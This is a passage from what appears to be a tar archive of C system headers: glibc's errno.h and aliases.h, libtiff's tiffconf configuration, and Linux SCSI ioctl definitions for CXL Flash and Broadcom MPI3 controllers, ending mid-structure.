of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ /* * ISO C99 Standard: 7.5 Errors <errno.h> */ #ifndef _ERRNO_H #define _ERRNO_H 1 #include <features.h> /* The system-specific definitions of the E* constants, as macros. */ #include <bits/errno.h> /* When included from assembly language, this header only provides the E* constants. */ #ifndef __ASSEMBLER__ __BEGIN_DECLS /* The error code set by various library functions. */ extern int *__errno_location (void) __THROW __attribute_const__; # define errno (*__errno_location ()) # ifdef __USE_GNU /* The full and simple forms of the name with which the program was invoked. These variables are set up automatically at startup based on the value of argv[0]. */ extern char *program_invocation_name; extern char *program_invocation_short_name; #include <bits/types/error_t.h> # endif /* __USE_GNU */ __END_DECLS #endif /* !__ASSEMBLER__ */ #endif /* errno.h */ aliases.h 0000644 00000003757 15246445046 0006364 0 ustar 00 /* Copyright (C) 1996-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _ALIASES_H #define _ALIASES_H 1 #include <features.h> #include <sys/types.h> __BEGIN_DECLS /* Structure to represent one entry of the alias data base. */ struct aliasent { char *alias_name; size_t alias_members_len; char **alias_members; int alias_local; }; /* Open alias data base files. */ extern void setaliasent (void) __THROW; /* Close alias data base files. */ extern void endaliasent (void) __THROW; /* Get the next entry from the alias data base. */ extern struct aliasent *getaliasent (void) __THROW; /* Get the next entry from the alias data base and put it in RESULT_BUF. */ extern int getaliasent_r (struct aliasent *__restrict __result_buf, char *__restrict __buffer, size_t __buflen, struct aliasent **__restrict __result) __THROW; /* Get alias entry corresponding to NAME. */ extern struct aliasent *getaliasbyname (const char *__name) __THROW; /* Get alias entry corresponding to NAME and put it in RESULT_BUF. */ extern int getaliasbyname_r (const char *__restrict __name, struct aliasent *__restrict __result_buf, char *__restrict __buffer, size_t __buflen, struct aliasent **__restrict __result) __THROW; __END_DECLS #endif /* aliases.h */ tiffconf-64.h 0000644 00000006545 15246445046 0006766 0 ustar 00 /* libtiff/tiffconf.h. Generated from tiffconf.h.in by configure. */ /* Configuration defines for installed libtiff. This file maintained for backward compatibility. Do not use definitions from this file in your programs. */ #ifndef _TIFFCONF_ #define _TIFFCONF_ /* Signed 16-bit type */ #define TIFF_INT16_T signed short /* Signed 32-bit type */ #define TIFF_INT32_T signed int /* Signed 64-bit type */ #define TIFF_INT64_T signed long /* Signed 8-bit type */ #define TIFF_INT8_T signed char /* Unsigned 16-bit type */ #define TIFF_UINT16_T unsigned short /* Unsigned 32-bit type */ #define TIFF_UINT32_T unsigned int /* Unsigned 64-bit type */ #define TIFF_UINT64_T unsigned long /* Unsigned 8-bit type */ #define TIFF_UINT8_T unsigned char /* Signed size type */ #define TIFF_SSIZE_T signed long /* Pointer difference type */ #define TIFF_PTRDIFF_T ptrdiff_t /* Define to 1 if the system has the type `int16'. */ /* #undef HAVE_INT16 */ /* Define to 1 if the system has the type `int32'. */ /* #undef HAVE_INT32 */ /* Define to 1 if the system has the type `int8'. */ /* #undef HAVE_INT8 */ /* Compatibility stuff. */ /* Define as 0 or 1 according to the floating point format suported by the machine */ #define HAVE_IEEEFP 1 /* Set the native cpu bit order (FILLORDER_LSB2MSB or FILLORDER_MSB2LSB) */ #define HOST_FILLORDER FILLORDER_LSB2MSB /* Native cpu byte order: 1 if big-endian (Motorola) or 0 if little-endian (Intel) */ #define HOST_BIGENDIAN 0 /* Support CCITT Group 3 & 4 algorithms */ #define CCITT_SUPPORT 1 /* Support JPEG compression (requires IJG JPEG library) */ #define JPEG_SUPPORT 1 /* Support JBIG compression (requires JBIG-KIT library) */ #define JBIG_SUPPORT 1 /* Support LogLuv high dynamic range encoding */ #define LOGLUV_SUPPORT 1 /* Support LZW algorithm */ #define LZW_SUPPORT 1 /* Support NeXT 2-bit RLE algorithm */ #define NEXT_SUPPORT 1 /* Support Old JPEG compresson (read contrib/ojpeg/README first! Compilation fails with unpatched IJG JPEG library) */ #define OJPEG_SUPPORT 1 /* Support Macintosh PackBits algorithm */ #define PACKBITS_SUPPORT 1 /* Support Pixar log-format algorithm (requires Zlib) */ #define PIXARLOG_SUPPORT 1 /* Support ThunderScan 4-bit RLE algorithm */ #define THUNDER_SUPPORT 1 /* Support Deflate compression */ #define ZIP_SUPPORT 1 /* Support strip chopping (whether or not to convert single-strip uncompressed images to mutiple strips of ~8Kb to reduce memory usage) */ #define STRIPCHOP_DEFAULT TIFF_STRIPCHOP /* Enable SubIFD tag (330) support */ #define SUBIFD_SUPPORT 1 /* Treat extra sample as alpha (default enabled). The RGBA interface will treat a fourth sample with no EXTRASAMPLE_ value as being ASSOCALPHA. Many packages produce RGBA files but don't mark the alpha properly. */ #define DEFAULT_EXTRASAMPLE_AS_ALPHA 1 /* Pick up YCbCr subsampling info from the JPEG data stream to support files lacking the tag (default enabled). */ #define CHECK_JPEG_YCBCR_SUBSAMPLING 1 /* Support MS MDI magic number files as TIFF */ #define MDI_SUPPORT 1 /* * Feature support definitions. * XXX: These macros are obsoleted. Don't use them in your apps! * Macros stays here for backward compatibility and should be always defined. */ #define COLORIMETRY_SUPPORT #define YCBCR_SUPPORT #define CMYK_SUPPORT #define ICC_SUPPORT #define PHOTOSHOP_SUPPORT #define IPTC_SUPPORT #endif /* _TIFFCONF_ */ scsi/cxlflash_ioctl.h 0000644 00000023670 15246445046 0010676 0 ustar 00 /* SPDX-License-Identifier: GPL-2.0+ WITH Linux-syscall-note */ /* * CXL Flash Device Driver * * Written by: Manoj N. Kumar <manoj@linux.vnet.ibm.com>, IBM Corporation * Matthew R. Ochs <mrochs@linux.vnet.ibm.com>, IBM Corporation * * Copyright (C) 2015 IBM Corporation * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version * 2 of the License, or (at your option) any later version. */ #ifndef _CXLFLASH_IOCTL_H #define _CXLFLASH_IOCTL_H #include <linux/types.h> /* * Structure and definitions for all CXL Flash ioctls */ #define CXLFLASH_WWID_LEN 16 /* * Structure and flag definitions CXL Flash superpipe ioctls */ #define DK_CXLFLASH_VERSION_0 0 struct dk_cxlflash_hdr { __u16 version; /* Version data */ __u16 rsvd[3]; /* Reserved for future use */ __u64 flags; /* Input flags */ __u64 return_flags; /* Returned flags */ }; /* * Return flag definitions available to all superpipe ioctls * * Similar to the input flags, these are grown from the bottom-up with the * intention that ioctl-specific return flag definitions would grow from the * top-down, allowing the two sets to co-exist. While not required/enforced * at this time, this provides future flexibility. */ #define DK_CXLFLASH_ALL_PORTS_ACTIVE 0x0000000000000001ULL #define DK_CXLFLASH_APP_CLOSE_ADAP_FD 0x0000000000000002ULL #define DK_CXLFLASH_CONTEXT_SQ_CMD_MODE 0x0000000000000004ULL /* * General Notes: * ------------- * The 'context_id' field of all ioctl structures contains the context * identifier for a context in the lower 32-bits (upper 32-bits are not * to be used when identifying a context to the AFU). That said, the value * in its entirety (all 64-bits) is to be treated as an opaque cookie and * should be presented as such when issuing ioctls. */ /* * DK_CXLFLASH_ATTACH Notes: * ------------------------ * Read/write access permissions are specified via the O_RDONLY, O_WRONLY, * and O_RDWR flags defined in the fcntl.h header file. * * A valid adapter file descriptor (fd >= 0) is only returned on the initial * attach (successful) of a context. When a context is shared(reused), the user * is expected to already 'know' the adapter file descriptor associated with the * context. */ #define DK_CXLFLASH_ATTACH_REUSE_CONTEXT 0x8000000000000000ULL struct dk_cxlflash_attach { struct dk_cxlflash_hdr hdr; /* Common fields */ __u64 num_interrupts; /* Requested number of interrupts */ __u64 context_id; /* Returned context */ __u64 mmio_size; /* Returned size of MMIO area */ __u64 block_size; /* Returned block size, in bytes */ __u64 adap_fd; /* Returned adapter file descriptor */ __u64 last_lba; /* Returned last LBA on the device */ __u64 max_xfer; /* Returned max transfer size, blocks */ __u64 reserved[8]; /* Reserved for future use */ }; struct dk_cxlflash_detach { struct dk_cxlflash_hdr hdr; /* Common fields */ __u64 context_id; /* Context to detach */ __u64 reserved[8]; /* Reserved for future use */ }; struct dk_cxlflash_udirect { struct dk_cxlflash_hdr hdr; /* Common fields */ __u64 context_id; /* Context to own physical resources */ __u64 rsrc_handle; /* Returned resource handle */ __u64 last_lba; /* Returned last LBA on the device */ __u64 reserved[8]; /* Reserved for future use */ }; #define DK_CXLFLASH_UVIRTUAL_NEED_WRITE_SAME 0x8000000000000000ULL struct dk_cxlflash_uvirtual { struct dk_cxlflash_hdr hdr; /* Common fields */ __u64 context_id; /* Context to own virtual resources */ __u64 lun_size; /* Requested size, in 4K blocks */ __u64 rsrc_handle; /* Returned resource handle */ __u64 last_lba; /* Returned last LBA of LUN */ __u64 reserved[8]; /* Reserved for future use */ }; struct dk_cxlflash_release { struct dk_cxlflash_hdr hdr; /* Common fields */ __u64 context_id; /* Context owning resources */ __u64 rsrc_handle; /* Resource handle to release */ __u64 reserved[8]; /* Reserved for future use */ }; struct dk_cxlflash_resize { struct dk_cxlflash_hdr hdr; /* Common fields */ __u64 context_id; /* Context owning resources */ __u64 rsrc_handle; /* Resource handle of LUN to resize */ __u64 req_size; /* New requested size, in 4K blocks */ __u64 last_lba; /* Returned last LBA of LUN */ __u64 reserved[8]; /* Reserved for future use */ }; struct dk_cxlflash_clone { struct dk_cxlflash_hdr hdr; /* Common fields */ __u64 context_id_src; /* Context to clone from */ __u64 context_id_dst; /* Context to clone to */ __u64 adap_fd_src; /* Source context adapter fd */ __u64 reserved[8]; /* Reserved for future use */ }; #define DK_CXLFLASH_VERIFY_SENSE_LEN 18 #define DK_CXLFLASH_VERIFY_HINT_SENSE 0x8000000000000000ULL struct dk_cxlflash_verify { struct dk_cxlflash_hdr hdr; /* Common fields */ __u64 context_id; /* Context owning resources to verify */ __u64 rsrc_handle; /* Resource handle of LUN */ __u64 hint; /* Reasons for verify */ __u64 last_lba; /* Returned last LBA of device */ __u8 sense_data[DK_CXLFLASH_VERIFY_SENSE_LEN]; /* SCSI sense data */ __u8 pad[6]; /* Pad to next 8-byte boundary */ __u64 reserved[8]; /* Reserved for future use */ }; #define DK_CXLFLASH_RECOVER_AFU_CONTEXT_RESET 0x8000000000000000ULL struct dk_cxlflash_recover_afu { struct dk_cxlflash_hdr hdr; /* Common fields */ __u64 reason; /* Reason for recovery request */ __u64 context_id; /* Context to recover / updated ID */ __u64 mmio_size; /* Returned size of MMIO area */ __u64 adap_fd; /* Returned adapter file descriptor */ __u64 reserved[8]; /* Reserved for future use */ }; #define DK_CXLFLASH_MANAGE_LUN_WWID_LEN CXLFLASH_WWID_LEN #define DK_CXLFLASH_MANAGE_LUN_ENABLE_SUPERPIPE 0x8000000000000000ULL #define DK_CXLFLASH_MANAGE_LUN_DISABLE_SUPERPIPE 0x4000000000000000ULL #define DK_CXLFLASH_MANAGE_LUN_ALL_PORTS_ACCESSIBLE 0x2000000000000000ULL struct dk_cxlflash_manage_lun { struct dk_cxlflash_hdr hdr; /* Common fields */ __u8 wwid[DK_CXLFLASH_MANAGE_LUN_WWID_LEN]; /* Page83 WWID, NAA-6 */ __u64 reserved[8]; /* Rsvd, future use */ }; union cxlflash_ioctls { struct dk_cxlflash_attach attach; struct dk_cxlflash_detach detach; struct dk_cxlflash_udirect udirect; struct dk_cxlflash_uvirtual uvirtual; struct dk_cxlflash_release release; struct dk_cxlflash_resize resize; struct dk_cxlflash_clone clone; struct dk_cxlflash_verify verify; struct dk_cxlflash_recover_afu recover_afu; struct dk_cxlflash_manage_lun manage_lun; }; #define MAX_CXLFLASH_IOCTL_SZ (sizeof(union cxlflash_ioctls)) #define CXL_MAGIC 0xCA #define CXL_IOWR(_n, _s) _IOWR(CXL_MAGIC, _n, struct _s) /* * CXL Flash superpipe ioctls start at base of the reserved CXL_MAGIC * region (0x80) and grow upwards. */ #define DK_CXLFLASH_ATTACH CXL_IOWR(0x80, dk_cxlflash_attach) #define DK_CXLFLASH_USER_DIRECT CXL_IOWR(0x81, dk_cxlflash_udirect) #define DK_CXLFLASH_RELEASE CXL_IOWR(0x82, dk_cxlflash_release) #define DK_CXLFLASH_DETACH CXL_IOWR(0x83, dk_cxlflash_detach) #define DK_CXLFLASH_VERIFY CXL_IOWR(0x84, dk_cxlflash_verify) #define DK_CXLFLASH_RECOVER_AFU CXL_IOWR(0x85, dk_cxlflash_recover_afu) #define DK_CXLFLASH_MANAGE_LUN CXL_IOWR(0x86, dk_cxlflash_manage_lun) #define DK_CXLFLASH_USER_VIRTUAL CXL_IOWR(0x87, dk_cxlflash_uvirtual) #define DK_CXLFLASH_VLUN_RESIZE CXL_IOWR(0x88, dk_cxlflash_resize) #define DK_CXLFLASH_VLUN_CLONE CXL_IOWR(0x89, dk_cxlflash_clone) /* * Structure and flag definitions CXL Flash host ioctls */ #define HT_CXLFLASH_VERSION_0 0 struct ht_cxlflash_hdr { __u16 version; /* Version data */ __u16 subcmd; /* Sub-command */ __u16 rsvd[2]; /* Reserved for future use */ __u64 flags; /* Input flags */ __u64 return_flags; /* Returned flags */ }; /* * Input flag definitions available to all host ioctls * * These are grown from the bottom-up with the intention that ioctl-specific * input flag definitions would grow from the top-down, allowing the two sets * to co-exist. While not required/enforced at this time, this provides future * flexibility. */ #define HT_CXLFLASH_HOST_READ 0x0000000000000000ULL #define HT_CXLFLASH_HOST_WRITE 0x0000000000000001ULL #define HT_CXLFLASH_LUN_PROVISION_SUBCMD_CREATE_LUN 0x0001 #define HT_CXLFLASH_LUN_PROVISION_SUBCMD_DELETE_LUN 0x0002 #define HT_CXLFLASH_LUN_PROVISION_SUBCMD_QUERY_PORT 0x0003 struct ht_cxlflash_lun_provision { struct ht_cxlflash_hdr hdr; /* Common fields */ __u16 port; /* Target port for provision request */ __u16 reserved16[3]; /* Reserved for future use */ __u64 size; /* Size of LUN (4K blocks) */ __u64 lun_id; /* SCSI LUN ID */ __u8 wwid[CXLFLASH_WWID_LEN];/* Page83 WWID, NAA-6 */ __u64 max_num_luns; /* Maximum number of LUNs provisioned */ __u64 cur_num_luns; /* Current number of LUNs provisioned */ __u64 max_cap_port; /* Total capacity for port (4K blocks) */ __u64 cur_cap_port; /* Current capacity for port (4K blocks) */ __u64 reserved[8]; /* Reserved for future use */ }; #define HT_CXLFLASH_AFU_DEBUG_MAX_DATA_LEN 262144 /* 256K */ #define HT_CXLFLASH_AFU_DEBUG_SUBCMD_LEN 12 struct ht_cxlflash_afu_debug { struct ht_cxlflash_hdr hdr; /* Common fields */ __u8 reserved8[4]; /* Reserved for future use */ __u8 afu_subcmd[HT_CXLFLASH_AFU_DEBUG_SUBCMD_LEN]; /* AFU subcommand, * (pass through) */ __u64 data_ea; /* Data buffer effective address */ __u32 data_len; /* Data buffer length */ __u32 reserved32; /* Reserved for future use */ __u64 reserved[8]; /* Reserved for future use */ }; union cxlflash_ht_ioctls { struct ht_cxlflash_lun_provision lun_provision; struct ht_cxlflash_afu_debug afu_debug; }; #define MAX_HT_CXLFLASH_IOCTL_SZ (sizeof(union cxlflash_ht_ioctls)) /* * CXL Flash host ioctls start at the top of the reserved CXL_MAGIC * region (0xBF) and grow downwards. */ #define HT_CXLFLASH_LUN_PROVISION CXL_IOWR(0xBF, ht_cxlflash_lun_provision) #define HT_CXLFLASH_AFU_DEBUG CXL_IOWR(0xBE, ht_cxlflash_afu_debug) #endif /* ifndef _CXLFLASH_IOCTL_H */ scsi/scsi_ioctl.h 0000644 00000002443 15246445046 0010026 0 ustar 00 /* Copyright (C) 1999-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SCSI_IOCTL_H #define _SCSI_IOCTL_H /* IOCTLs for SCSI. */ #define SCSI_IOCTL_SEND_COMMAND 1 /* Send a command to the SCSI host. */ #define SCSI_IOCTL_TEST_UNIT_READY 2 /* Test if unit is ready. */ #define SCSI_IOCTL_BENCHMARK_COMMAND 3 #define SCSI_IOCTL_SYNC 4 /* Request synchronous parameters. */ #define SCSI_IOCTL_START_UNIT 5 #define SCSI_IOCTL_STOP_UNIT 6 #define SCSI_IOCTL_DOORLOCK 0x5380 /* Lock the eject mechanism. */ #define SCSI_IOCTL_DOORUNLOCK 0x5381 /* Unlock the mechanism. */ #endif scsi/scsi_bsg_mpi3mr.h 0000644 00000036247 15246445046 0010767 0 ustar 00 /* SPDX-License-Identifier: GPL-2.0-or-later WITH Linux-syscall-note */ /* * Driver for Broadcom MPI3 Storage Controllers * * Copyright (C) 2017-2022 Broadcom Inc. * (mailto: mpi3mr-linuxdrv.pdl@broadcom.com) * */ #ifndef SCSI_BSG_MPI3MR_H_INCLUDED #define SCSI_BSG_MPI3MR_H_INCLUDED #include <linux/types.h> /* Definitions for BSG commands */ #define MPI3MR_IOCTL_VERSION 0x06 #define MPI3MR_APP_DEFAULT_TIMEOUT (60) /*seconds*/ #define MPI3MR_BSG_ADPTYPE_UNKNOWN 0 #define MPI3MR_BSG_ADPTYPE_AVGFAMILY 1 #define MPI3MR_BSG_ADPSTATE_UNKNOWN 0 #define MPI3MR_BSG_ADPSTATE_OPERATIONAL 1 #define MPI3MR_BSG_ADPSTATE_FAULT 2 #define MPI3MR_BSG_ADPSTATE_IN_RESET 3 #define MPI3MR_BSG_ADPSTATE_UNRECOVERABLE 4 #define MPI3MR_BSG_ADPRESET_UNKNOWN 0 #define MPI3MR_BSG_ADPRESET_SOFT 1 #define MPI3MR_BSG_ADPRESET_DIAG_FAULT 2 #define MPI3MR_BSG_LOGDATA_MAX_ENTRIES 400 #define MPI3MR_BSG_LOGDATA_ENTRY_HEADER_SZ 4 #define MPI3MR_DRVBSG_OPCODE_UNKNOWN 0 #define MPI3MR_DRVBSG_OPCODE_ADPINFO 1 #define MPI3MR_DRVBSG_OPCODE_ADPRESET 2 #define MPI3MR_DRVBSG_OPCODE_ALLTGTDEVINFO 4 #define MPI3MR_DRVBSG_OPCODE_GETCHGCNT 5 #define MPI3MR_DRVBSG_OPCODE_LOGDATAENABLE 6 #define MPI3MR_DRVBSG_OPCODE_PELENABLE 7 #define MPI3MR_DRVBSG_OPCODE_GETLOGDATA 8 #define MPI3MR_DRVBSG_OPCODE_QUERY_HDB 9 #define MPI3MR_DRVBSG_OPCODE_REPOST_HDB 10 #define MPI3MR_DRVBSG_OPCODE_UPLOAD_HDB 11 #define MPI3MR_DRVBSG_OPCODE_REFRESH_HDB_TRIGGERS 12 #define MPI3MR_BSG_BUFTYPE_UNKNOWN 0 #define MPI3MR_BSG_BUFTYPE_RAIDMGMT_CMD 1 #define MPI3MR_BSG_BUFTYPE_RAIDMGMT_RESP 2 #define MPI3MR_BSG_BUFTYPE_DATA_IN 3 #define MPI3MR_BSG_BUFTYPE_DATA_OUT 4 #define MPI3MR_BSG_BUFTYPE_MPI_REPLY 5 #define MPI3MR_BSG_BUFTYPE_ERR_RESPONSE 6 #define MPI3MR_BSG_BUFTYPE_MPI_REQUEST 0xFE #define MPI3MR_BSG_MPI_REPLY_BUFTYPE_UNKNOWN 0 #define MPI3MR_BSG_MPI_REPLY_BUFTYPE_STATUS 1 #define MPI3MR_BSG_MPI_REPLY_BUFTYPE_ADDRESS 2 #define MPI3MR_HDB_BUFTYPE_UNKNOWN 0 #define MPI3MR_HDB_BUFTYPE_TRACE 1 #define MPI3MR_HDB_BUFTYPE_FIRMWARE 2 #define MPI3MR_HDB_BUFTYPE_RESERVED 3 #define MPI3MR_HDB_BUFSTATUS_UNKNOWN 0 #define MPI3MR_HDB_BUFSTATUS_NOT_ALLOCATED 1 #define MPI3MR_HDB_BUFSTATUS_POSTED_UNPAUSED 2 #define MPI3MR_HDB_BUFSTATUS_POSTED_PAUSED 3 #define MPI3MR_HDB_BUFSTATUS_RELEASED 4 #define MPI3MR_HDB_TRIGGER_TYPE_UNKNOWN 0 #define MPI3MR_HDB_TRIGGER_TYPE_DIAGFAULT 1 #define MPI3MR_HDB_TRIGGER_TYPE_ELEMENT 2 #define MPI3MR_HDB_TRIGGER_TYPE_MASTER 3 /* Supported BSG commands */ enum command { MPI3MR_DRV_CMD = 1, MPI3MR_MPT_CMD = 2, }; /** * struct mpi3_driver_info_layout - Information about driver * * @information_length: Length of this structure in bytes * @driver_signature: Driver Vendor name * @os_name: Operating System Name * @driver_name: Driver name * @driver_version: Driver version * @driver_release_date: Driver release date * @driver_capabilities: Driver capabilities */ struct mpi3_driver_info_layout { __le32 information_length; __u8 driver_signature[12]; __u8 os_name[16]; __u8 os_version[12]; __u8 driver_name[20]; __u8 driver_version[32]; __u8 driver_release_date[20]; __le32 driver_capabilities; }; /** * struct mpi3mr_bsg_in_adpinfo - Adapter information request * data returned by the driver. * * @adp_type: Adapter type * @rsvd1: Reserved * @pci_dev_id: PCI device ID of the adapter * @pci_dev_hw_rev: PCI revision of the adapter * @pci_subsys_dev_id: PCI subsystem device ID of the adapter * @pci_subsys_ven_id: PCI subsystem vendor ID of the adapter * @pci_dev: PCI device * @pci_func: PCI function * @pci_bus: PCI bus * @rsvd2: Reserved * @pci_seg_id: PCI segment ID * @app_intfc_ver: version of the application interface definition * @rsvd3: Reserved * @rsvd4: Reserved * @rsvd5: Reserved * @driver_info: Driver Information (Version/Name) */ struct mpi3mr_bsg_in_adpinfo { __u32 adp_type; __u32 rsvd1; __u32 pci_dev_id; __u32 pci_dev_hw_rev; __u32 pci_subsys_dev_id; __u32 pci_subsys_ven_id; __u32 pci_dev:5; __u32 pci_func:3; __u32 pci_bus:8; __u16 rsvd2; __u32 pci_seg_id; __u32 app_intfc_ver; __u8 adp_state; __u8 rsvd3; __u16 rsvd4; __u32 rsvd5[2]; struct mpi3_driver_info_layout driver_info; }; /** * struct mpi3mr_bsg_adp_reset - Adapter reset request * payload data to the driver. * * @reset_type: Reset type * @rsvd1: Reserved * @rsvd2: Reserved */ struct mpi3mr_bsg_adp_reset { __u8 reset_type; __u8 rsvd1; __u16 rsvd2; }; /** * struct mpi3mr_change_count - Topology change count * returned by the driver. * * @change_count: Topology change count * @rsvd: Reserved */ struct mpi3mr_change_count { __u16 change_count; __u16 rsvd; }; /** * struct mpi3mr_device_map_info - Target device mapping * information * * @handle: Firmware device handle * @perst_id: Persistent ID assigned by the firmware * @target_id: Target ID assigned by the driver * @bus_id: Bus ID assigned by the driver * @rsvd1: Reserved * @rsvd2: Reserved */ struct mpi3mr_device_map_info { __u16 handle; __u16 perst_id; __u32 target_id; __u8 bus_id; __u8 rsvd1; __u16 rsvd2; }; /** * struct mpi3mr_all_tgt_info - Target device mapping * information returned by the driver * * @num_devices: The number of devices in driver's inventory * @rsvd1: Reserved * @rsvd2: Reserved * @dmi: Variable length array of mapping information of targets */ struct mpi3mr_all_tgt_info { __u16 num_devices; __u16 rsvd1; __u32 rsvd2; struct mpi3mr_device_map_info dmi[1]; }; /** * struct mpi3mr_logdata_enable - Number of log data * entries saved by the driver returned as payload data for * enable logdata BSG request by the driver. * * @max_entries: Number of log data entries cached by the driver * @rsvd: Reserved */ struct mpi3mr_logdata_enable { __u16 max_entries; __u16 rsvd; }; /** * struct mpi3mr_bsg_out_pel_enable - PEL enable request payload * data to the driver. * * @pel_locale: PEL locale to the firmware * @pel_class: PEL class to the firmware * @rsvd: Reserved */ struct mpi3mr_bsg_out_pel_enable { __u16 pel_locale; __u8 pel_class; __u8 rsvd; }; /** * struct mpi3mr_logdata_entry - Log data entry cached by the * driver. * * @valid_entry: Is the entry valid * @rsvd1: Reserved * @rsvd2: Reserved * @data: Variable length Log entry data */ struct mpi3mr_logdata_entry { __u8 valid_entry; __u8 rsvd1; __u16 rsvd2; __u8 data[1]; /* Variable length Array */ }; /** * struct mpi3mr_bsg_in_log_data - Log data entries saved by * the driver returned as payload data for Get logdata request * by the driver. * * @entry: Variable length Log data entry array */ struct mpi3mr_bsg_in_log_data { struct mpi3mr_logdata_entry entry[1]; }; /** * struct mpi3mr_hdb_entry - host diag buffer entry. * * @buf_type: Buffer type * @status: Buffer status * @trigger_type: Trigger type * @rsvd1: Reserved * @size: Buffer size * @rsvd2: Reserved * @trigger_data: Trigger specific data * @rsvd3: Reserved * @rsvd4: Reserved */ struct mpi3mr_hdb_entry { __u8 buf_type; __u8 status; __u8 trigger_type; __u8 rsvd1; __u16 size; __u16 rsvd2; __u64 trigger_data; __u32 rsvd3; __u32 rsvd4; }; /** * struct mpi3mr_bsg_in_hdb_status - This structure contains * return data for the BSG request to retrieve the number of host * diagnostic buffers supported by the driver and their current * status and additional status specific data if any in forms of * multiple hdb entries. * * @num_hdb_types: Number of host diag buffer types supported * @rsvd1: Reserved * @rsvd2: Reserved * @rsvd3: Reserved * @entry: Variable length Diag buffer status entry array */ struct mpi3mr_bsg_in_hdb_status { __u8 num_hdb_types; __u8 rsvd1; __u16 rsvd2; __u32 rsvd3; struct mpi3mr_hdb_entry entry[1]; }; /** * struct mpi3mr_bsg_out_repost_hdb - Repost host diagnostic * buffer request payload data to the driver. * * @buf_type: Buffer type * @rsvd1: Reserved * @rsvd2: Reserved */ struct mpi3mr_bsg_out_repost_hdb { __u8 buf_type; __u8 rsvd1; __u16 rsvd2; }; /** * struct mpi3mr_bsg_out_upload_hdb - Upload host diagnostic * buffer request payload data to the driver. * * @buf_type: Buffer type * @rsvd1: Reserved * @rsvd2: Reserved * @start_offset: Start offset of the buffer from where to copy * @length: Length of the buffer to copy */ struct mpi3mr_bsg_out_upload_hdb { __u8 buf_type; __u8 rsvd1; __u16 rsvd2; __u32 start_offset; __u32 length; }; /** * struct mpi3mr_bsg_out_refresh_hdb_triggers - Refresh host * diagnostic buffer triggers request payload data to the driver. * * @page_type: Page type * @rsvd1: Reserved * @rsvd2: Reserved */ struct mpi3mr_bsg_out_refresh_hdb_triggers { __u8 page_type; __u8 rsvd1; __u16 rsvd2; }; /** * struct mpi3mr_bsg_drv_cmd - Generic bsg data * structure for all driver specific requests. * * @mrioc_id: Controller ID * @opcode: Driver specific opcode * @rsvd1: Reserved * @rsvd2: Reserved */ struct mpi3mr_bsg_drv_cmd { __u8 mrioc_id; __u8 opcode; __u16 rsvd1; __u32 rsvd2[4]; }; /** * struct mpi3mr_bsg_in_reply_buf - MPI reply buffer returned * for MPI Passthrough request . * * @mpi_reply_type: Type of MPI reply * @rsvd1: Reserved * @rsvd2: Reserved * @reply_buf: Variable Length buffer based on mpirep type */ struct mpi3mr_bsg_in_reply_buf { __u8 mpi_reply_type; __u8 rsvd1; __u16 rsvd2; __u8 reply_buf[]; }; /** * struct mpi3mr_buf_entry - User buffer descriptor for MPI * Passthrough requests. * * @buf_type: Buffer type * @rsvd1: Reserved * @rsvd2: Reserved * @buf_len: Buffer length */ struct mpi3mr_buf_entry { __u8 buf_type; __u8 rsvd1; __u16 rsvd2; __u32 buf_len; }; /** * struct mpi3mr_bsg_buf_entry_list - list of user buffer * descriptor for MPI Passthrough requests. * * @num_of_entries: Number of buffer descriptors * @rsvd1: Reserved * @rsvd2: Reserved * @rsvd3: Reserved * @buf_entry: Variable length array of buffer descriptors */ struct mpi3mr_buf_entry_list { __u8 num_of_entries; __u8 rsvd1; __u16 rsvd2; __u32 rsvd3; struct mpi3mr_buf_entry buf_entry[1]; }; /** * struct mpi3mr_bsg_mptcmd - Generic bsg data * structure for all MPI Passthrough requests . * * @mrioc_id: Controller ID * @rsvd1: Reserved * @timeout: MPI request timeout * @buf_entry_list: Buffer descriptor list */ struct mpi3mr_bsg_mptcmd { __u8 mrioc_id; __u8 rsvd1; __u16 timeout; __u32 rsvd2; struct mpi3mr_buf_entry_list buf_entry_list; }; /** * struct mpi3mr_bsg_packet - Generic bsg data * structure for all supported requests . * * @cmd_type: represents drvrcmd or mptcmd * @rsvd1: Reserved * @rsvd2: Reserved * @drvrcmd: driver request structure * @mptcmd: mpt request structure */ struct mpi3mr_bsg_packet { __u8 cmd_type; __u8 rsvd1; __u16 rsvd2; __u32 rsvd3; union { struct mpi3mr_bsg_drv_cmd drvrcmd; struct mpi3mr_bsg_mptcmd mptcmd; } cmd; }; /* MPI3: NVMe Encasulation related definitions */ #ifndef MPI3_NVME_ENCAP_CMD_MAX #define MPI3_NVME_ENCAP_CMD_MAX (1) #endif struct mpi3_nvme_encapsulated_request { __le16 host_tag; __u8 ioc_use_only02; __u8 function; __le16 ioc_use_only04; __u8 ioc_use_only06; __u8 msg_flags; __le16 change_count; __le16 dev_handle; __le16 encapsulated_command_length; __le16 flags; __le32 data_length; __le32 reserved14[3]; __le32 command[MPI3_NVME_ENCAP_CMD_MAX]; }; struct mpi3_nvme_encapsulated_error_reply { __le16 host_tag; __u8 ioc_use_only02; __u8 function; __le16 ioc_use_only04; __u8 ioc_use_only06; __u8 msg_flags; __le16 ioc_use_only08; 